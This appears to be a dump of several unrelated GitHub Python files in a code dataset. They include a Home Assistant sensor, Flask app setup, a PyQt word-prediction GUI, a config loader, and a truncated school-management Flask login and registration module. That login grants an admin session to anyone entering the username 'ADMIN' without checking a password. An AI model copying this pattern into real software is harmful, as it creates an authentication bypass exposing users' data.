newteta[k] = teta[k] - (alpha*dteta[k])\n\n newbias = bias - (alpha*dbias)\n \n totalerror = totalerror + localerror\n\n trainerror[n] = totalerror/len(traindata)\n\n # print(\"h: \", h)\n # print(\"sigmoid: \", sigm)\n # print(\"predict: \", pred)\n # print(\"fact: \", testlabel[i])\n # print(\"local error: \", localerror)\n # print(\"dteta: \", dteta)\n # print(\"dbias: \", dbias)\n # print(\"newteta: \", newteta)\n # print(\"newbias: \", newbias)\n\n # print(\"total error: \", totalerror)\n # print(\"error[\", n, \"]: \", trainerror[n])\n # print(\"---------------------------------\")\n\n\n #TEST\n totalerror = 0\n for i in range(len(testdata)):\n \n h = fungsiH(testdata[i,:],newteta,newbias)\n sigm = sigmoid(h)\n pred = predict(sigm)\n\n localerror = local_error(sigm, testlabel[i])\n\n totalerror = totalerror + localerror\n\n testerror[n] = totalerror/len(testerror)\n\nx = np.arange(epoch)\ny1 = trainerror.copy()\ny2 = testerror.copy()\n\nplt.figure(figsize=(16,8))\nplt.plot(x,y1, color=\"green\")\nplt.plot(x,y2, color=\"red\")\nplt.xlabel(\"Epoch\")\nplt.ylabel(\"Error\")\nplt.title(\"Grafik Error setiap Epoch\")\nplt.legend([\"Data Training\", \"Data Validation\"])\nplt.grid()\nplt.show()","repo_name":"jodistiara/ml_SGD","sub_path":"machinelearning.py","file_name":"machinelearning.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42536045283","text":"import voluptuous as vol\nfrom homeassistant.components.sensor import (\n PLATFORM_SCHEMA, \n SensorEntityDescription,\n SensorEntity,\n)\nfrom homeassistant.components.binary_sensor import (\n BinarySensorEntity,\n BinarySensorEntityDescription,\n DEVICE_CLASS_CONNECTIVITY,\n)\nfrom homeassistant.config_entries import SOURCE_IMPORT\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.const import CONF_NAME\nfrom homeassistant.exceptions import PlatformNotReady\n\nfrom .const import (\n DOMAIN,\n CONF_LOCAL_SERIAL_PORT,\n DEFAULT_NAME,\n DATA_COORDINATOR,\n SENSOR_TYPES,\n TYPE_ADDRESS,\n SENSOR_LINKY_ATTRIBUTES,\n)\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(\n {\n vol.Required(CONF_LOCAL_SERIAL_PORT): cv.string,\n vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,\n }\n)\n\n\nasync def async_setup_platform(hass, config, async_add_entities, discovery_info=None):\n \"\"\"Import the platform into a config entry.\"\"\"\n\n hass.async_create_task(\n hass.config_entries.flow.async_init(\n DOMAIN, context={\"source\": SOURCE_IMPORT}, data=config\n )\n )\n\n\nasync def async_setup_entry(hass, config_entry, async_add_entities):\n coordinator = hass.data[DOMAIN][config_entry.entry_id][DATA_COORDINATOR]\n name = config_entry.data[CONF_NAME]\n\n await coordinator.async_refresh()\n if not coordinator.last_update_success:\n raise PlatformNotReady()\n\n entities = [LinkyEntity(coordinator, name, \"meter\")]\n for key in coordinator.data:\n if key not in SENSOR_LINKY_ATTRIBUTES:\n entities.append(TeleinfoEntity(coordinator, name, key))\n \n async_add_entities(entities, True)\n\n\nclass BaseTeleInfoEntity():\n @property\n def unique_id(self):\n meter_id = self.coordinator.data[TYPE_ADDRESS].value\n\n return f\"{meter_id}-{self.key}\"\n\n @property\n def should_poll(self):\n return False\n\n @property\n def available(self):\n return self.coordinator.last_update_success\n\n @property\n def device_info(self):\n return {\n \"identifiers\": {(DOMAIN, self.coordinator.data[TYPE_ADDRESS].value)},\n \"name\": self.basename,\n }\n\n async def async_added_to_hass(self):\n self.async_on_remove(\n self.coordinator.async_add_listener(self.async_write_ha_state)\n )\n\n async def async_update(self):\n await self.coordinator.async_request_refresh()\n\n\nclass LinkyEntity(BaseTeleInfoEntity, BinarySensorEntity):\n def __init__(self, coordinator, basename, key):\n self.coordinator = coordinator\n self.basename = basename\n self.key = key\n\n self.entity_description = BinarySensorEntityDescription(\n key=key,\n name=f\"{self.basename} Meter\",\n device_class=DEVICE_CLASS_CONNECTIVITY\n )\n\n @property\n def is_on(self):\n return self.coordinator.last_update_success\n\n @property\n def extra_state_attributes(self):\n return {\n ha_key: self.coordinator.data[linky_key].value\n for linky_key, ha_key in SENSOR_LINKY_ATTRIBUTES.items()\n if linky_key in self.coordinator.data\n }\n\n\nclass TeleinfoEntity(BaseTeleInfoEntity, SensorEntity):\n def __init__(self, coordinator, basename, key):\n self.coordinator = coordinator\n self.basename = basename\n self.key = key\n\n # Fetch and apply configuration\n label, entity_description = SENSOR_TYPES.get(self.key, (self.key, {}))\n entity_description_attrs = {\n \"key\": key,\n \"native_unit_of_measurement\": self.coordinator.data[self.key].unit,\n \"name\": f\"{self.basename} {label}\",\n }\n entity_description_attrs.update(entity_description)\n self.entity_description = SensorEntityDescription(\n **entity_description_attrs\n )\n\n @property\n def native_value(self):\n return self.coordinator.data[self.key].value","repo_name":"ugomeda/serial-teleinfo-home-assistant","sub_path":"custom_components/teleinformation/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":3982,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"3202512891","text":"import os\n\nimport click\nfrom flask import Flask, render_template\nfrom flask_login import current_user\nfrom flask_wtf.csrf import CSRFError\n\nfrom photosocial.blueprints.admin import admin_bp\nfrom photosocial.blueprints.auth import auth_bp\nfrom photosocial.blueprints.ajax import ajax_bp\nfrom photosocial.blueprints.main import main_bp\nfrom photosocial.blueprints.user import user_bp\nfrom photosocial.models import User, Photo, Tag, Follow, Comment, Collect, Notification\nfrom photosocial.extensions import bootstrap, db, dropzone, mail, csrf, login_manager, moment, whooshee, avatars\nfrom photosocial.settings import config\nfrom photosocial.models import Role\n\n\ndef create_app(config_name=None):\n if config_name is None:\n config_name = os.getenv('FLASK_CONFIG', 'development')\n\n app = Flask('photosocial')\n\n app.config.from_object(config[config_name])\n\n register_extensions(app)\n register_blueprints(app)\n register_commands(app)\n register_errorhandlers(app)\n register_shell_context(app)\n register_template_context(app)\n\n return app\n\n\ndef register_extensions(app):\n bootstrap.init_app(app)\n db.init_app(app)\n login_manager.init_app(app)\n mail.init_app(app)\n dropzone.init_app(app)\n moment.init_app(app)\n whooshee.init_app(app)\n avatars.init_app(app)\n csrf.init_app(app)\n\n\ndef register_blueprints(app):\n app.register_blueprint(main_bp)\n app.register_blueprint(user_bp, url_prefix='/user')\n app.register_blueprint(auth_bp, url_prefix='/auth')\n app.register_blueprint(admin_bp, url_prefix='/admin')\n app.register_blueprint(ajax_bp, url_prefix='/ajax')\n\n\ndef register_shell_context(app):\n @app.shell_context_processor\n def make_shell_context():\n return dict(db=db, User=User, Photo=Photo, Tag=Tag,\n Follow=Follow, Collect=Collect, Comment=Comment,\n Notification=Notification)\n\n\ndef register_template_context(app):\n @app.context_processor\n def make_template_context():\n if current_user.is_authenticated:\n notification_count = Notification.query.with_parent(current_user).filter_by(is_read=False).count()\n else:\n notification_count = None\n return dict(notification_count=notification_count)\n\n\ndef register_errorhandlers(app):\n @app.errorhandler(400)\n def bad_request(e):\n return render_template('errors/400.html'), 400\n\n @app.errorhandler(403)\n def forbidden(e):\n return render_template('errors/403.html'), 403\n\n @app.errorhandler(404)\n def page_not_found(e):\n return render_template('errors/404.html'), 404\n\n @app.errorhandler(413)\n def request_entity_too_large(e):\n return render_template('errors/413.html'), 413\n\n @app.errorhandler(500)\n def internal_server_error(e):\n return render_template('errors/500.html'), 500\n\n @app.errorhandler(CSRFError)\n def handle_csrf_error(e):\n return render_template('errors/400.html', description=e.description), 500\n\n\ndef register_commands(app):\n @app.cli.command()\n @click.option('--drop', is_flag=True, help='Create after drop.')\n def initdb(drop):\n if drop:\n click.confirm('此操作将删除数据库,是否继续?', abort=True)\n db.drop_all()\n click.echo('删除表.')\n db.create_all()\n click.echo('初始化数据库.')\n\n @app.cli.command()\n def init():\n click.echo('初始化数据库...')\n db.create_all()\n\n click.echo('初始化角色和权限...')\n Role.init_role()\n\n click.echo('完成.')\n\n @app.cli.command()\n @click.option('--user', default=10, help='用户数量,默认为10.')\n @click.option('--follow', default=30, help='关注数量,默认为30.')\n @click.option('--photo', default=30, help='图片数量,默认为30.')\n @click.option('--tag', default=20, help='标签数量,默认为20.')\n @click.option('--collect', default=50, help='收藏数量,默认为50.')\n @click.option('--comment', default=100, help='评论数量,默认为100.')\n def forge(user, follow, photo, tag, collect, comment):\n from photosocial.fakes import fake_admin, fake_comment, fake_follow, fake_photo, fake_tag, fake_user, \\\n fake_collect\n\n db.drop_all()\n db.create_all()\n\n click.echo('初始化角色和权限...')\n Role.init_role()\n click.echo('生成管理员...')\n fake_admin()\n click.echo('生成 %d 用户...' % user)\n fake_user(user)\n click.echo('生成 %d 关注...' % follow)\n fake_follow(follow)\n click.echo('生成 %d 标签...' % tag)\n fake_tag(tag)\n click.echo('生成 %d 图片...' % photo)\n fake_photo(photo)\n click.echo('生成 %d 收藏...' % photo)\n fake_collect(collect)\n click.echo('生成 %d 评论...' % comment)\n fake_comment(comment)\n click.echo('完成.')\n","repo_name":"gweid/PhotoSocial","sub_path":"photosocial/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4954,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"12361925162","text":"import sys\nimport numpy as np\nimport tensorflow as tf\nfrom PyQt6.QtWidgets import QApplication, QFileDialog, QWidget, QGridLayout, QPushButton, QTextEdit, QMainWindow\nfrom keras.models import load_model, Sequential\nfrom keras.layers import Dense, LSTM, Activation\nfrom keras.optimizers import RMSprop\nfrom nltk.tokenize import RegexpTokenizer\n\nprint(\"Num GPUs Available: \", len(tf.config.list_physical_devices('GPU')))\n#os.environ[\"TF_GPU_ALLOCATOR\"] = \"cuda_malloc_async\"\n#print(os.getenv(\"TF_GPU_ALLOCATOR\"))\n\ngpus = tf.config.experimental.list_physical_devices(\"GPU\")\n#setup af gpu vram\nconfig = tf.compat.v1.ConfigProto(allow_soft_placement=True)\nconfig.gpu_options.allow_growth = True\nsession = tf.compat.v1.Session(config=config)\n\ndef sherlock_setup():\n global n_words, unique_tokens, unique_token_index, tokenizer, tokens\n #data indlæsning\n path = 'data.txt'\n text = open(path, \"r\", encoding='utf-8').read().lower()\n # Tokineser ordende\n tokenizer = RegexpTokenizer(r\"\\w+\")\n tokens = tokenizer.tokenize(text)\n\n #definerer mængden af tokens\n unique_tokens = np.unique(tokens)\n # Mængden af kontext model har brug for\n n_words = 5\n #Definerer alle ord ai'en kender, i ud fra dataset, i form a tokens\n unique_token_index = {token: idx for idx, token in enumerate(unique_tokens)}\n\n #Slet data, der ikke længere skal bruges\n del path, text\n\nclass MainScreen(QMainWindow):\n def __init__(self):\n super().__init__()\n\n self.model = load_model(\"Shelorck holmes model 1.h5\")\n self.modelON = True\n\n self.setWindowTitle('RNN')\n\n self.layout = QGridLayout()\n self.setLayout(self.layout)\n\n self.textArea = QTextEdit()\n self.textArea.setReadOnly(False)\n self.textArea.textChanged.connect(self.text_changed)\n\n self.buttons = [QPushButton(\"Tryk her 1\"),\n QPushButton(\"Tryk her 2\"),\n QPushButton(\"Tryk her 3\")\n ]\n\n self.buttons[0].clicked.connect(self.ins_option_1)\n self.buttons[1].clicked.connect(self.ins_option_2)\n self.buttons[2].clicked.connect(self.ins_option_3)\n\n self.options = {0: \" \", 1: \" \", 2: \" \"}\n\n self.layout.addWidget(self.textArea, 1, 0, 1, 3)\n self.layout.addWidget(self.buttons[0], 2, 0)\n self.layout.addWidget(self.buttons[1], 2, 1)\n self.layout.addWidget(self.buttons[2], 2, 2)\n\n widget = QWidget()\n widget.setLayout(self.layout)\n self.setCentralWidget(widget)\n\n self.menubar = self.menuBar()\n self.filemenu = self.menubar.addMenu(\"file\")\n self.filemenu.addAction(\"Vælg data\", self.open_file_dialog)\n\n\n def ins_option_1(self):\n if self.textArea.toPlainText()[-1].isspace():\n self.textArea.insertPlainText(self.options[0])\n else:\n self.textArea.insertPlainText(\" \" + self.options[0])\n\n def ins_option_2(self):\n if self.textArea.toPlainText()[-1].isspace():\n self.textArea.insertPlainText(self.options[1])\n else:\n self.textArea.insertPlainText(\" \" + self.options[1])\n def ins_option_3(self):\n if self.textArea.toPlainText()[-1].isspace():\n self.textArea.insertPlainText(self.options[2])\n else:\n self.textArea.insertPlainText(\" \" + self.options[2])\n def text_changed(self):\n print(\"NO\")\n\n if self.modelON:\n text = self.words_exist(self.textArea.toPlainText().lower().split(\" \"))\n print(\"nogen har trykket\")\n #Tekst her\n print(self.textArea.toPlainText(), type(text))\n dot = self.predict_next_word(text, 3)\n print(\"DOT: \", dot)\n possible = np.array([unique_tokens[idx] for idx in dot])\n possible = np.array_str(possible)\n print(\"Possible: \", possible)\n words = []\n word = \"\"\n for i in range(len(possible)):\n if possible[i].isspace() or possible[i] == \"]\":\n words.append(word)\n word = \"\"\n elif possible[i] != \"[\" and possible[i] != \"'\":\n word = word + possible[i]\n\n for index, word in enumerate(words):\n self.buttons[index].setText(word)\n self.options[index] = word\n else:\n pass\n\n def words_exist(self, text):\n print(text)\n print(\"Whole text is: \", len(text))\n if len(text) > n_words:\n sentence = \"\"\n for i in range(len(text)-n_words, len(text) - 1):\n print(f\"{text[i]} in unique_tokens? \", text[i] in unique_token_index)\n if text[i] in unique_tokens:\n sentence = sentence + \" \" + text[i]\n if text[i] not in unique_tokens and not i == len(text)-1:\n sentence = \"\"\n else:\n sentence = \"\"\n for i in range(len(text)):\n print(f\"{text[i]} in unique_tokens? \", text[i] in unique_token_index)\n if text[i] in unique_token_index:\n sentence = sentence + \" \" + text[i]\n elif text[i] not in unique_token_index and not i == len(text) - 1:\n sentence = \"\"\n else:\n sentence = sentence\n print(sentence)\n #print(\"Sentence2 is: \", len(sentence.spilt(\"\")))\n return sentence\n\n def open_file_dialog(self):\n filename = QFileDialog.getOpenFileName(self, filter=\"Text (*.txt)\", caption=\"Select a text file\", directory=\"C:/Users\")\n print(filename)\n if filename[0] != \"\":\n #Turn of model\n self.modelON = False\n path = filename[0]\n print(\"Hej\")\n\n #TODO: let model train on loaded data file\n print(\"Hej0\")\n text = open(path, \"r\", encoding='utf-8').read().lower()\n\n self.textArea.setReadOnly(True)\n\n self.textArea.setText(\"Training model, it will take some time\")\n QApplication.processEvents()\n\n\n can_load_weights = update_tokens(text)\n print(\"Hej1\")\n\n input_words = []\n next_words = []\n\n for i in range(len(tokens) - n_words):\n input_words.append(tokens[i:i + n_words])\n next_words.append(tokens[i + n_words])\n\n # Features\n x = np.zeros((len(input_words), n_words, len(unique_tokens)), dtype=bool)\n # Labels\n y = np.zeros((len(next_words), len(unique_tokens)), dtype=bool)\n print(\"Hej2\")\n for i, words in enumerate(input_words):\n for j, word in enumerate(words):\n x[i, j, unique_token_index[word]] = 1\n y[i, unique_token_index[next_words[i]]] = 1\n print(\"Hej3\")\n\n\n print(\"Hej4\")\n if not can_load_weights:\n newModel = Sequential()\n newModel.add(LSTM(128, input_shape=(n_words, len(unique_tokens))))\n newModel.add(Dense(len(unique_tokens)))\n newModel.add(Activation(\"softmax\"))\n newModel.compile(loss=\"categorical_crossentropy\", optimizer=RMSprop(learning_rate=0.01),\n metrics=[\"accuracy\"])\n newModel.fit(x, y, batch_size=16, epochs=3, shuffle=True)\n self.model = newModel\n del newModel\n\n if can_load_weights:\n self.model.fit(x, y, batch_size=16, epochs=3, shuffle=True)\n print(\"Hej5\")\n\n\n self.textArea.setText(\"\")\n self.textArea.setReadOnly(False)\n print(\"Hej6\")\n\n self.modelON = True\n\n del text, filename, x, y, can_load_weights\n\n\n\n def predict_next_word(self, input_text, n_best):\n text = input_text\n X = np.zeros((1, n_words, len(unique_tokens)))\n for i, word in enumerate(text.split()):\n X[0, i, unique_token_index[word]] = 1\n print(\"Hello\")\n predictions = self.model.predict(X)[0]\n return np.argpartition(predictions, -n_best)[-n_best:]\n\ndef update_tokens(text):\n global unique_tokens, tokens, unique_token_index,tokenizer\n x_old_words = len(unique_tokens)\n print(x_old_words)\n newTokens = tokenizer.tokenize(text)\n print(\"goddav\")\n unique_tokens = np.unique(tokens + newTokens)\n tokens = newTokens\n unique_token_index = {token: idx for idx, token in enumerate(unique_tokens)}\n x_new_words = len(unique_tokens)\n print(x_old_words, x_new_words)\n if x_new_words == x_old_words:\n return True\n else:\n return False\n\nsherlock_setup()\n\napp = QApplication(sys.argv)\nwindow = MainScreen()\n\nwindow.showMaximized()\napp.exec()\n\n\napp = QApplication(sys.argv)\nwindow = MainScreen()\n\nwindow.showMaximized()\napp.exec()\n\n","repo_name":"BertramAP/Language-Processing-Algorithm-Project","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":8886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19652772119","text":"\"\"\"反转链表\n①:制造一个假头部,然后不断在假头部和下一个节点之间不断插入新数据\n②:不断遍历链表元素,将元素移动到链表开头\n\n\"\"\"\n\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n\nclass Solution:\n def reverseList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n\n\n fake_head = ListNode()\n\n while head:\n next = head.next\n head.next = fake_head.next\n fake_head.next = head\n head = next\n\n\n return fake_head.next\n\n def reverseList2(self, head):\n\n if head is None:\n return None\n \n pre = head\n\n while True:\n cur = pre.next\n if cur is None:\n return head\n\n pre.next = cur.next\n cur.next = head\n head = cur","repo_name":"ReynoK/data-struct-and-algorithm","sub_path":"List/206_Reverse_Linked_List.py","file_name":"206_Reverse_Linked_List.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3456898123","text":"# the original version, with FCU before and after\nfrom functools import partial\nfrom .trq3d import *\n\n\nTRQ3D = partial(\n TRQ3D,\n Encoder=TRQ3DEncoder,\n Decoder=TRQ3DDecoder\n)\n\n\ndef trq3d():\n net = TRQ3D(in_channels=1, in_channels_tr=31, channels=16, channels_tr=16, med_channels=31, num_half_layer=4, sample_idx=[1, 3], has_ad=True,\n input_resolution=(512, 512))\n net.use_2dconv = False\n net.bandwise = False\n return net\n","repo_name":"pentium2/HSIR","sub_path":"hsir/model/trq3d/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"11934422365","text":"import os\nimport sys\nimport ruamel.yaml as yaml\n\nfrom lightflow.models.exceptions import ConfigLoadError, ConfigFieldError\n\n\nLIGHTFLOW_CONFIG_ENV = 'LIGHTFLOW_CONFIG'\nLIGHTFLOW_CONFIG_NAME = 'lightflow.cfg'\n\n\ndef expand_env_var(env_var):\n \"\"\" Expands, potentially nested, environment variables.\n\n Args:\n env_var (str): The environment variable that should be expanded.\n\n Returns:\n str: The fully expanded environment variable.\n \"\"\"\n if not env_var:\n return env_var\n while True:\n interpolated = os.path.expanduser(os.path.expandvars(str(env_var)))\n if interpolated == env_var:\n return interpolated\n else:\n env_var = interpolated\n\n\nclass Config:\n \"\"\" Hosts the global configuration.\n\n The configuration is read from a structured YAML file or a dictionary.\n The location of the file can either be specified directly, is given in\n the environment variable LIGHTFLOW_CONFIG_ENV, is looked for in the\n current execution directory or in the home directory of the user.\n \"\"\"\n def __init__(self):\n self._config = None\n\n @classmethod\n def from_file(cls, filename, *, strict=True):\n \"\"\" Create a new Config object from a configuration file.\n\n Args:\n filename (str): The location and name of the configuration file.\n strict (bool): If true raises a ConfigLoadError when the configuration\n cannot be found.\n\n Returns:\n An instance of the Config class.\n\n Raises:\n ConfigLoadError: If the configuration cannot be found.\n \"\"\"\n config = cls()\n config.load_from_file(filename, strict=strict)\n return config\n\n def load_from_file(self, filename=None, *, strict=True):\n \"\"\" Load the configuration from a file.\n\n The location of the configuration file can either be specified directly in the\n parameter filename or is searched for in the following order:\n\n 1. In the environment variable given by LIGHTFLOW_CONFIG_ENV\n 2. In the current execution directory\n 3. In the user's home directory\n\n Args:\n filename (str): The location and name of the configuration file.\n strict (bool): If true raises a ConfigLoadError when the configuration\n cannot be found.\n\n Raises:\n ConfigLoadError: If the configuration cannot be found.\n \"\"\"\n self.set_to_default()\n\n if filename:\n self._update_from_file(filename)\n else:\n if LIGHTFLOW_CONFIG_ENV not in os.environ:\n if os.path.isfile(os.path.join(os.getcwd(), LIGHTFLOW_CONFIG_NAME)):\n self._update_from_file(\n os.path.join(os.getcwd(), LIGHTFLOW_CONFIG_NAME))\n elif os.path.isfile(expand_env_var('~/{}'.format(LIGHTFLOW_CONFIG_NAME))):\n self._update_from_file(\n expand_env_var('~/{}'.format(LIGHTFLOW_CONFIG_NAME)))\n else:\n if strict:\n raise ConfigLoadError('Could not find the configuration file.')\n else:\n self._update_from_file(expand_env_var(os.environ[LIGHTFLOW_CONFIG_ENV]))\n\n self._update_python_paths()\n\n def load_from_dict(self, conf_dict=None):\n \"\"\" Load the configuration from a dictionary.\n\n Args:\n conf_dict (dict): Dictionary with the configuration.\n \"\"\"\n self.set_to_default()\n self._update_dict(self._config, conf_dict)\n self._update_python_paths()\n\n def to_dict(self):\n \"\"\" Returns a copy of the internal configuration as a dictionary. \"\"\"\n return dict(self._config)\n\n @property\n def workflows(self):\n \"\"\" Return the workflow folders \"\"\"\n return self._config.get('workflows')\n\n @property\n def data_store(self):\n \"\"\" Return the data store settings \"\"\"\n return self._config.get('store')\n\n @property\n def signal(self):\n \"\"\" Return the signal system settings \"\"\"\n return self._config.get('signal')\n\n @property\n def logging(self):\n \"\"\" Return the logging settings \"\"\"\n return self._config.get('logging')\n\n @property\n def celery(self):\n \"\"\" Return the celery settings \"\"\"\n return self._config.get('celery')\n\n @property\n def cli(self):\n \"\"\" Return the cli settings \"\"\"\n return self._config.get('cli')\n\n @property\n def extensions(self):\n \"\"\" Return the custom settings of extensions \"\"\"\n if 'extensions' not in self._config:\n raise ConfigFieldError(\n 'The extensions section is missing in the configuration')\n return self._config.get('extensions')\n\n @property\n def workflow_polling_time(self):\n \"\"\" Return the waiting time between status checks of the running dags (sec) \"\"\"\n if 'graph' not in self._config:\n raise ConfigFieldError('The graph section is missing in the configuration')\n return self._config.get('graph').get('workflow_polling_time')\n\n @property\n def dag_polling_time(self):\n \"\"\" Return the waiting time between status checks of the running tasks (sec) \"\"\"\n if 'graph' not in self._config:\n raise ConfigFieldError('The graph section is missing in the configuration')\n return self._config.get('graph').get('dag_polling_time')\n\n def set_to_default(self):\n \"\"\" Overwrite the configuration with the default configuration. \"\"\"\n self._config = yaml.safe_load(self.default())\n\n def _update_from_file(self, filename):\n \"\"\" Helper method to update an existing configuration with the values from a file.\n\n Loads a configuration file and replaces all values in the existing configuration\n dictionary with the values from the file.\n\n Args:\n filename (str): The path and name to the configuration file.\n \"\"\"\n if os.path.exists(filename):\n try:\n with open(filename, 'r') as config_file:\n yaml_dict = yaml.safe_load(config_file.read())\n if yaml_dict is not None:\n self._update_dict(self._config, yaml_dict)\n except IsADirectoryError:\n raise ConfigLoadError(\n 'The specified configuration file is a directory not a file')\n else:\n raise ConfigLoadError('The config file {} does not exist'.format(filename))\n\n def _update_dict(self, to_dict, from_dict):\n \"\"\" Recursively merges the fields for two dictionaries.\n\n Args:\n to_dict (dict): The dictionary onto which the merge is executed.\n from_dict (dict): The dictionary merged into to_dict\n \"\"\"\n for key, value in from_dict.items():\n if key in to_dict and isinstance(to_dict[key], dict) and \\\n isinstance(from_dict[key], dict):\n self._update_dict(to_dict[key], from_dict[key])\n else:\n to_dict[key] = from_dict[key]\n\n def _update_python_paths(self):\n \"\"\" Append the workflow and libraries paths to the PYTHONPATH. \"\"\"\n for path in self._config['workflows'] + self._config['libraries']:\n if os.path.isdir(os.path.abspath(path)):\n if path not in sys.path:\n sys.path.append(path)\n else:\n raise ConfigLoadError(\n 'Workflow directory {} does not exist'.format(path))\n\n @staticmethod\n def default():\n \"\"\" Returns the default configuration. \"\"\"\n return '''\nworkflows:\n - ./examples\n\nlibraries: []\n\ncelery:\n broker_url: redis://localhost:6379/0\n result_backend: redis://localhost:6379/0\n worker_concurrency: 8\n result_expires: 0\n worker_send_task_events: True\n worker_prefetch_multiplier: 1\n\nsignal:\n host: localhost\n port: 6379\n password: null\n database: 0\n polling_time: 0.5\n\nstore:\n host: localhost\n port: 27017\n database: lightflow\n username: null\n password: null\n auth_source: admin\n auth_mechanism: null\n connect_timeout: 30000\n\ngraph:\n workflow_polling_time: 0.5\n dag_polling_time: 0.5\n\ncli:\n time_format: '%d/%m/%Y %H:%M:%S'\n\nextensions: {}\n\nlogging:\n version: 1\n disable_existing_loggers: false\n formatters:\n verbose:\n format: '[%(asctime)s][%(levelname)s] %(name)s %(filename)s:%(funcName)s:%(lineno)d | %(message)s'\n datefmt: '%d/%m/%Y %H:%M:%S'\n simple:\n (): 'colorlog.ColoredFormatter'\n format: '%(log_color)s[%(asctime)s][%(levelname)s] %(blue)s%(processName)s%(reset)s | %(message)s'\n datefmt: '%d/%m/%Y %H:%M:%S'\n handlers:\n console:\n class: logging.StreamHandler\n level: INFO\n formatter: simple\n loggers:\n celery:\n handlers:\n - console\n level: INFO\n\n root:\n handlers:\n - console\n level: INFO\n '''\n","repo_name":"AustralianSynchrotron/lightflow","sub_path":"lightflow/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":9007,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"3"} +{"seq_id":"23207461851","text":"\"\"\"\r\nRoutes and views for the flask application.\r\n\"\"\"\r\n\r\nfrom datetime import date\r\nfrom flask import request, render_template, redirect, session, flash\r\nfrom SchoolMgmtWebPy2 import app\r\nfrom Student import student\r\nfrom Teacher import teacher\r\nfrom Course import course\r\nfrom Test import test\r\nfrom Report import report\r\nfrom pysql import pySQL\r\n\r\ncurStudent = student()\r\ncurTeacher = teacher()\r\nsql = pySQL()\r\n\r\n@app.route('/')\r\n@app.route('/login', methods = ['GET', 'POST'])\r\ndef login():\r\n session.pop('curLog', None)\r\n\r\n if request.method == \"POST\":\r\n username = request.form.get('username')\r\n password = request.form.get('password')\r\n logtype = request.form.getlist('logtype')[0]\r\n\r\n if logtype == 'Student':\r\n global curStudent\r\n result = sql.StudentLogIn(username, password)\r\n if result == None:\r\n flash('No such username and password', category='error')\r\n return render_template(\"login.html\")\r\n else:\r\n flash('Successful Login!', category = 'success')\r\n curStudent = result\r\n session['curLog'] = 'student'\r\n return redirect(\"home\")\r\n\r\n elif logtype == 'Teacher':\r\n global curTeacher\r\n result = sql.TeacherLogIn(username, password)\r\n if result == None:\r\n flash('No such username and password', category='error')\r\n return render_template(\"login.html\")\r\n else:\r\n flash('Successful Login!', category = 'success')\r\n curTeacher = result\r\n session['curLog'] = 'teacher'\r\n return redirect(\"home\")\r\n elif username.upper() == 'ADMIN':\r\n session['curLog'] = 'admin'\r\n return redirect(\"home\")\r\n\r\n return render_template(\r\n 'login.html',\r\n title = \"Login Page\"\r\n )\r\n\r\n@app.route('/register', methods = ['GET', 'POST'])\r\ndef register():\r\n print('got this far')\r\n session.pop('curLog', None)\r\n\r\n if request.method == \"POST\":\r\n register = request.form.get('register')\r\n\r\n if register == 'Student':\r\n print('got this far')\r\n global curStudent\r\n curStudent.User = request.form.get('username')\r\n if len(curStudent.User) == 0:\r\n flash('Username cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n curStudent.Pass = request.form.get('password')\r\n if len(curStudent.Pass) == 0:\r\n flash('Password cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n curStudent.FName = request.form.get('firstname')\r\n if len(curStudent.FName) == 0:\r\n flash('First name cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n curStudent.LName = request.form.get('lastname')\r\n if len(curStudent.LName) == 0:\r\n flash('Last name cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n curStudent.DOB = request.form['dob']\r\n\r\n curStudent.Addr1 = request.form.get('addr1')\r\n if len(curStudent.Addr1) == 0:\r\n flash('Address 1 cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n curStudent.Addr2 = request.form.get('addr2')\r\n\r\n curStudent.City = request.form.get('city')\r\n if len(curStudent.City) == 0:\r\n flash('City cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n\r\n curStudent.Zip = request.form.get('zip')\r\n if len(curStudent.Zip) == 0:\r\n flash('Zip cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n curStudent.Email = request.form.get('email')\r\n if len(curStudent.Email) == 0:\r\n flash('Email cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n curStudent.PhoneNo = request.form.get('phoneno')\r\n if len(curStudent.PhoneNo) == 0:\r\n flash('Phone number cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n \r\n print('got this far')\r\n\r\n flash('Account Created!', category='success')\r\n sql.RegisterStudent(curStudent)\r\n session['curLog'] = 'student'\r\n return redirect('home')\r\n\r\n elif register == 'Teacher':\r\n global curTeacher\r\n curTeacher.User = request.form.get('username')\r\n if len(curTeacher.User) == 0:\r\n flash('Username cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n curTeacher.Pass = request.form.get('password')\r\n if len(curTeacher.Pass) == 0:\r\n flash('Password cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n curTeacher.FName = request.form.get('firstname')\r\n if len(curTeacher.FName) == 0:\r\n flash('First name cannot be empty', category='error')\r\n 